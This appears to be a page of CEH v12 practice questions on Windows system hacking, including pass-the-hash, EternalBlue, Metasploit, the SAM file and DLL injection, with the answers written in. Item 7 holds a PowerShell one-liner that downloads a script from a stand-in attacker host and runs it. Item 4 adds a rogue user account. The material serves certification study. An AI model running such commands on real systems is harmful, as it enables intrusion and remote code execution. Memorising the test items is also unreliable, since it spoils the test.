Part 4 - CEH v12 Practice Questions: Windows System Hacking Techniques and Tools

Part 4: Windows System Hacking Techniques and Tools (15 Questions)1. The most common technique attackers use to escalate privileges on a Windows system is the Pass-the-Hash attack. This exploit leverages Windows’ authentication mechanisms by using hashed credentials instead of plaintext passwords, allowing attackers to impersonate users without knowing the original password.2. The Windows tool tasklist allows you to manage system processes, services, and performance monitoring from a command line. It displays all running processes and their Process IDs (PIDs), aiding in identifying suspicious activities.3. EternalBlue is a tool commonly used for exploiting the SMB protocol on Windows systems. It targets Windows systems vulnerable to CVE-2017-0144, enabling remote code execution.4. The Windows command net user is used to add a new user account. It can create and modify user accounts, for example: net user hacker P@ssw0rd /add.5. Metasploit is widely used for creating payloads to exploit Windows vulnerabilities. It is a powerful platform for developing, testing, and executing exploits against Windows targets.6. Regedit is the Windows utility used to modify the system registry. It is commonly targeted by attackers to establish persistence or modify system settings.7. The PowerShell command Invoke-WebRequest can download and execute a malicious script directly from memory. It fetches remote payloads: Invoke-WebRequest -Uri “http://attacker.com/malware.ps1” | Invoke-Expression.8. DLL injection allows attackers to hide malicious code inside legitimate Windows processes like explorer.exe. It involves injecting malicious code into trusted Windows processes, bypassing security tools.9. Cain & Abel is the best tool for performing password dumping from Windows systems. It is a powerful tool for recovering Windows passwords using techniques like sniffing, dictionary attacks, and password dumping.10. The SAM file in Windows stores hashed user passwords for local accounts. Attackers often target this file to extract password hashes.11. John the Ripper is a tool designed to crack NTLM password hashes from Windows systems. It efficiently cracks NTLM, LM, and other hash types for password recovery.12. PsExec in a Windows environment serves the purpose of remotely executing processes on Windows systems. Part of the Sysinternals Suite, it allows administrators and attackers to remotely execute commands on Windows machines.13. The PowerShell command Get-Process can list all running processes on a Windows machine. It displays detailed information about active processes, including their CPU and memory usage.14. Cuckoo Sandbox is the Windows tool designed for analyzing suspicious files by observing their behavior in a sandboxed environment. It is an open-source platform for analyzing malicious files, detecting potential threats in a controlled environment.15. DLL hijacking manipulates Windows services to gain persistence. It occurs when an attacker places a malicious DLL in a path Windows trusts, enabling code execution with elevated privileges.